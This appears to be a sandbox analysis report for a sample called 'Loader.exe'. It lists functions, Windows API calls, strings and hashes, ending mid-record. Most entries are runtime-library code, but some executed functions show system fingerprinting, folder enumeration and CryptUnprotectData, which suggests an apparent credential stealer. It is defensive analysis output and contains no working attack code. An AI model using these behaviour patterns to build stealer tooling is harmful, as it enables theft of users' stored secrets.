GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,002BC389,?,?,?,00000055,?,-00000050,?,?,?), ref: 002C6CD5
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,002BC389,?,?,?,00000055,?,-00000050,?,?), ref: 002C6D0C

Strings

utf8, xrefs: 002C6DDE
P.USA, xrefs: 002C6C54

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: P.USA$utf8
API String ID: 943130320-4222553367
Opcode ID: b711bca9d3aeb9704f697c43e282e5159823f605c64dc012b8e7e5408b5f96c1
Instruction ID: 923b89b33e4ce985dd39a54f5fafd73acdc20b655528107a55a6f6368b24de10
Opcode Fuzzy Hash: b711bca9d3aeb9704f697c43e282e5159823f605c64dc012b8e7e5408b5f96c1
Instruction Fuzzy Hash: 9151F675624707AADB24AF70CC4EFA673A8EF44700F14062EF9459B181F670EA709BA1

Function 002CD170 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,002CD20C,?,?,00000000,?,?,?,002CD0CA,00000002,FlsGetValue,002D81E4,002D81EC), ref: 002CD17D
GetLastError.KERNEL32(?,002CD20C,?,?,00000000,?,?,?,002CD0CA,00000002,FlsGetValue,002D81E4,002D81EC,?,?,002C1088), ref: 002CD187
LoadLibraryExW.KERNEL32(?,00000000,00000000,000000FF,?,002A9085), ref: 002CD1AF

Strings

api-ms-, xrefs: 002CD194

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: a25e4c953248a3c2a8aa91b0355610d1f2442f44e020e30d14eb46903f316108
Instruction ID: 24e3ec738747f0a0e3c4d1a420ee4df6c177b03a2777c6a66edb2dfce2f9fe53
Opcode Fuzzy Hash: a25e4c953248a3c2a8aa91b0355610d1f2442f44e020e30d14eb46903f316108
Instruction Fuzzy Hash: 24E01A70290245BBFB202F65EC4AF2D3BA5AB10B84F184534FA0CA80E1D7B298718944

Function 002CA23E Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(83182907,00000000,00000000,?), ref: 002CA2A1

Part of subcall function 002C23A1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,002C3B75,?,00000000,-00000008), ref: 002C2402

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 002CA4F3
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 002CA539
GetLastError.KERNEL32 ref: 002CA5DC

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 43a652a590f183687bc331d1339c5c0d953f874083fa3c5a9666d6e9cbd76352
Instruction ID: d46219f63cd13ec1652f651f756a08aaf3ec29093d3b3d643b9fc46c10b6ac79
Opcode Fuzzy Hash: 43a652a590f183687bc331d1339c5c0d953f874083fa3c5a9666d6e9cbd76352
Instruction Fuzzy Hash: 0CD179B5D1028C9FCB15CFA8D884AADBBB5FF08314F24826EE856EB251D630A951CF51

Function 002C1615 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 002C16DC
___AdjustPointer.LIBCMT ref: 002C16FF
___AdjustPointer.LIBCMT ref: 002C179B

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 88f178866ea3159ec78cb4443eaa326dd04e776045919984a2d085dcfca8774b
Instruction ID: 3227de9a4bfd83deb50f434fdc9592ee82a5adb1a6c2fd9ac80f74e9656b7a2f
Opcode Fuzzy Hash: 88f178866ea3159ec78cb4443eaa326dd04e776045919984a2d085dcfca8774b
Instruction Fuzzy Hash: 5051E571A21202DFDB298F14D987FA9B7A8EF52340F24422DE85647292D731EC75CF90

Function 002C8066 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 002C23A1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,002C3B75,?,00000000,-00000008), ref: 002C2402

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 002C80CA
__dosmaperr.LIBCMT ref: 002C80D1
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 002C810B
__dosmaperr.LIBCMT ref: 002C8112

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: e6ac4d2cc4bcbf5148db8fb56eee4447c0bef510e0d5b2db15b696bff2e196eb
Instruction ID: 6917be0d06c2669e54a2898b58f7a80a5105972e4f9e2e659392a02ae8e35cb5
Opcode Fuzzy Hash: e6ac4d2cc4bcbf5148db8fb56eee4447c0bef510e0d5b2db15b696bff2e196eb
Instruction Fuzzy Hash: E621B831620216AF9B20AF61C881EAB77E9EF05364714CA1CF91997110EB71EC608F51

Function 002B9592 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2405b6ca504f8740c24341dab4b2f58b887bf50b90a24aaf26cf3cc89a8d6cf8
Instruction ID: 75ef817e0b2a21fd7a0420f6bfe2aa7a15a283e327b2f082b7dccc3af5e4f701
Opcode Fuzzy Hash: 2405b6ca504f8740c24341dab4b2f58b887bf50b90a24aaf26cf3cc89a8d6cf8
Instruction Fuzzy Hash: 2421A13162020AAF9B20AF65CC809EB77ADEF413E47144525FB1997241EB30ECF0CB60

Function 002C945E Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 002C9466

Part of subcall function 002C23A1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,002C3B75,?,00000000,-00000008), ref: 002C2402

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 002C949E
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 002C94BE

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: f2333db3b15cbb9ba0bbcbc93e0f7e3a38c2690388645f27830705c2ed7f3e2f
Instruction ID: 4e5e0c29dc291a7d106a36eb309d41fa5b9de7281c7812b00ca39088138b047b
Opcode Fuzzy Hash: f2333db3b15cbb9ba0bbcbc93e0f7e3a38c2690388645f27830705c2ed7f3e2f
Instruction Fuzzy Hash: 001104B1521547BF672567B66CCDEAF7A9CCE893A4710023CFC0591100FE708DA285B1

Function 002D27B0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,002D149F,00000000,00000001,?,?,?,002CA630,?,00000000,00000000), ref: 002D27C7
GetLastError.KERNEL32(?,002D149F,00000000,00000001,?,?,?,002CA630,?,00000000,00000000,?,?,?,002C9F76,?), ref: 002D27D3

Part of subcall function 002D2830: CloseHandle.KERNEL32(FFFFFFFE,002D27E3,?,002D149F,00000000,00000001,?,?,?,002CA630,?,00000000,00000000,?,?), ref: 002D2840

___initconout.LIBCMT ref: 002D27E3

Part of subcall function 002D2805: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,002D27A1,002D148C,?,?,002CA630,?,00000000,00000000,?), ref: 002D2818

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,002D149F,00000000,00000001,?,?,?,002CA630,?,00000000,00000000,?), ref: 002D27F8

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 220002b8c6b0918ce66c286df7d3266ac0587abd035bf33c2b34287aa1d5af32
Instruction ID: 9c933d849e1538cbb8f04507d0f2ef823ae739f1fc3cba8b8ffafd7ab8e41459
Opcode Fuzzy Hash: 220002b8c6b0918ce66c286df7d3266ac0587abd035bf33c2b34287aa1d5af32
Instruction Fuzzy Hash: 70F01536150199FBCF226F91EC4C98E3F66FB183A1B154221FA18C9220D6328D70EBA0

Function 002B6ED5 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 002B6EE7
GetCurrentThreadId.KERNEL32 ref: 002B6EF6
GetCurrentProcessId.KERNEL32 ref: 002B6EFF
QueryPerformanceCounter.KERNEL32(?), ref: 002B6F0C

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: ef0ccfef6ce14c9a0c4e002279b8ce6e2cce4514f494b633728a66cc2905e27f
Instruction ID: 40ca304e30ad309c9742bcbc355efeefeb58ed7ab67cbba4bcf8c53a5351249d
Opcode Fuzzy Hash: ef0ccfef6ce14c9a0c4e002279b8ce6e2cce4514f494b633728a66cc2905e27f
Instruction Fuzzy Hash: 8AF0B234C4020CEBDB04DBB4DA8898EBBF4FF1D200B9145A5A412EB110E730AB54CB50

Function 002CBB6D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 002CBBFD

Strings

pow, xrefs: 002CBBD5, 002CBBF2

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 8f548199f9e31df2970e302b340749786547f07dae682dae57ef1ed8a1c9fa62
Instruction ID: 70287949da56f37cfe1d3f00dcdea36997205d239029d071dab67c53e7522b16
Opcode Fuzzy Hash: 8f548199f9e31df2970e302b340749786547f07dae682dae57ef1ed8a1c9fa62
Instruction Fuzzy Hash: 71517A609391039AC7127F14DE52FBA2BA09B40B51F344F5FE48E422A8EF318DB59A46

Function 002C1D12 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,002C1C13,?,?,00000000,00000000,00000000,?), ref: 002C1D37

Strings

RCC, xrefs: 002C1D51
MOC, xrefs: 002C1D49

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: a5f67071ef180219ce7f5aac63bd1686d12007c39bfad6fc2f55d0931e0b7498
Instruction ID: b69b2901c2f94ea08c6e3af468a79d8287d1c756895b7a9e7d96ba522985dc5c
Opcode Fuzzy Hash: a5f67071ef180219ce7f5aac63bd1686d12007c39bfad6fc2f55d0931e0b7498
Instruction Fuzzy Hash: 8F41793291020AAFCF15DF94D882FEEBBB5BF49304F158299F905A7212D3359970DB50

Function 002C157E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 002C17F5

Strings

csm, xrefs: 002C1888
csm, xrefs: 002C1817

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 84b45ee13521e61eeefad65eb0b6407db5778473253861d8bb17c803274c3b1f
Instruction ID: 3ac1adad70792173c375088bc54e231e2360181524964fe855cb62a0f7387e02
Opcode Fuzzy Hash: 84b45ee13521e61eeefad65eb0b6407db5778473253861d8bb17c803274c3b1f
Instruction Fuzzy Hash: C331C335828256DBEF265F90CC42F6A7B69EF0A314B18475EF85449212C332CC72DB81

Function 002B3941 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 002B39C9
RaiseException.KERNEL32(?,?,?,?), ref: 002B39EE

Part of subcall function 002B6FFC: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,?,?,?,?,?,?,002A303D), ref: 002B705D

Part of subcall function 002BEB03: IsProcessorFeaturePresent.KERNEL32(00000017,002BA13B,?,?,?,?,00000000,?,?,002BE59E,00000000,00000000,00000000,00000000,00000000), ref: 002BEB1F

Strings

csm, xrefs: 002B397D

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: 4d4c65cfe20c5e26d695b8cea7dcba8e6f22db46653ce4d8894ebd0bda71ca92
Instruction ID: f7ed62072e44509fccccd8d64f288fe9a7e661abb09197d35cc3c1df4c9d7417
Opcode Fuzzy Hash: 4d4c65cfe20c5e26d695b8cea7dcba8e6f22db46653ce4d8894ebd0bda71ca92
Instruction Fuzzy Hash: 7421D431D10219DBCF34DF94D989AEEB7B8FF04790F150419E446AB250CBB0AE65CB81

Function 002B2F45 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

_Yarn.LIBCPMT ref: 002B2F65
_Yarn.LIBCPMT ref: 002B2F89

Strings

l-, xrefs: 002B2F7D

Memory Dump Source

Source File: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: Yarn
String ID: l-
API String ID: 1767336200-3460958610
Opcode ID: 39bd92aec441b33882bc753c2f0ca4c5067d2de216fcfe5d07991df547dc7cf3
Instruction ID: 985e4a7b4873720f867e52565dfd713b715f0f486a5b63f1f76cf6070afc82d6
Opcode Fuzzy Hash: 39bd92aec441b33882bc753c2f0ca4c5067d2de216fcfe5d07991df547dc7cf3
Instruction Fuzzy Hash: 48E065333287007BEB08A665EC52FFA33E8CB417E0F10002EFD1A8A6C1ED10BC244950

Analysis Process: Loader.exePID: 7888, Parent PID: 7476COMMON

Execution Graph

Execution Coverage:	2.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	35.3%
Total number of Nodes:	116
Total number of Limit Nodes:	9

Executed Functions

Function 00437120 Relevance: 32.2, APIs: 11, Strings: 7, Instructions: 663
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044168C,00000000,00000001,0044167C,00000000), ref: 00437399
SysAllocString.OLEAUT32(BA76C471), ref: 0043742F
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0043746D
SysAllocString.OLEAUT32(BA76C471), ref: 004374A7
SysAllocString.OLEAUT32(BA76C471), ref: 00437537
VariantInit.OLEAUT32(B7B6B58C), ref: 004375A3
VariantClear.OLEAUT32(?), ref: 00437714
SysFreeString.OLEAUT32(00000000), ref: 00437739
SysFreeString.OLEAUT32(?), ref: 0043773F
SysFreeString.OLEAUT32(00000000), ref: 00437750
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,3ECE381E,00000000,00000000,00000000,00000000), ref: 00437788

Strings

+b3, xrefs: 004371A6
VT, xrefs: 004374FF
<=, xrefs: 004375E0
'b3, xrefs: 00437172
|fgd, xrefs: 004371AE, 00437230
o{&, xrefs: 0043781E
QN, xrefs: 0043750F

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID: String$AllocFree$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: 'b3$+b3$<=$QN$o{&$|fgd$VT
API String ID: 2573436264-693069525
Opcode ID: 048cd3638f9aa30c2422dd9c5d4a8e805386becde083d0b49842c8ea2d9ee945
Instruction ID: 11b2219e2d4eb91c49afa51d93a85ddcd4f2b2d1b700cdb42df764d3aeaf4aa9
Opcode Fuzzy Hash: 048cd3638f9aa30c2422dd9c5d4a8e805386becde083d0b49842c8ea2d9ee945
Instruction Fuzzy Hash: 6622FFB6A083009BD310CF69CC85B5BBBE5EBC9724F14892DE5D49B391D778E805CB86

Function 00408720 Relevance: 7.7, APIs: 5, Instructions: 214
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00408744
GetCurrentThreadId.KERNEL32 ref: 0040874E
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00408818
GetForegroundWindow.USER32 ref: 00408938
ExitProcess.KERNEL32 ref: 004089AE

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: 8c6a67c788db48e810d45b014de09d35d07e3ab25e5fa4732a97b1b6f9c9c616
Instruction ID: 39600d5385372255f45065d560af0ce17ce8acffdbc4af24d7fd64a4904d4598
Opcode Fuzzy Hash: 8c6a67c788db48e810d45b014de09d35d07e3ab25e5fa4732a97b1b6f9c9c616
Instruction Fuzzy Hash: F6515BB3E443145FC318BFA59C8535AB7929BC9314F0F823D9D98BB392E9789C0586C5

Function 00417F6B Relevance: 1.9, APIs: 1, Instructions: 430
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0043C2A0: LdrInitializeThunk.NTDLL(004370F0), ref: 0043C2CE

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00418235

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID: CryptDataInitializeThunkUnprotect
String ID:
API String ID: 279577407-0
Opcode ID: 01811f29e235513fc7299bdc820a11077f974d21a0dddd2b594181d633a5cebe
